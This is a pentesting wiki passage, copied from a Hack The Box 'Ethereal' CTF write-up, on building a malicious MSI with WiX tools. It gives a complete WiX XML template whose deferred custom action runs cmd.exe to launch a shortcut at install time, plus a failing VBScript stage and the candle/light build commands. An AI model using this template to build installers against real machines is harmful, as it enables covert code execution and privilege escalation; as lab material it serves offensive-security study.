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Network Services Pentesting
Create MSI with WIX
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Tutorial copied from https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root In order to create the msi we will use wixtools , you can use other msi builders but they didnโ€™t work for me. Check this page for some wix msi usage examples. We will create an msi that executes our lnk file :
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<?xml version="1.0"?>
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<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
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<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
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Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
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<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
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<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
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<Directory Id="TARGETDIR" Name="SourceDir">
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<Directory Id="ProgramFilesFolder">
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<Directory Id="INSTALLLOCATION" Name="Example">
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<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
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</Component>
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</Directory>
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</Directory>
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</Directory>
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<Feature Id="DefaultFeature" Level="1">
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<ComponentRef Id="ApplicationFiles"/>
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</Feature>
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<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
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<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
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Impersonate="yes"/>
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<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
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fail_here
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</CustomAction>
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<InstallExecuteSequence>
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<Custom Action="Stage1" After="InstallInitialize"></Custom>
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<Custom Action="Stage2" Before="InstallFiles"></Custom>
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</InstallExecuteSequence>
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</Product>
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</Wix>
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We will use candle.exe from wixtools to create a wixobject from msi.xml
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candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
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Then we will use light.exe to create the msi file from the wixobject:
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light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
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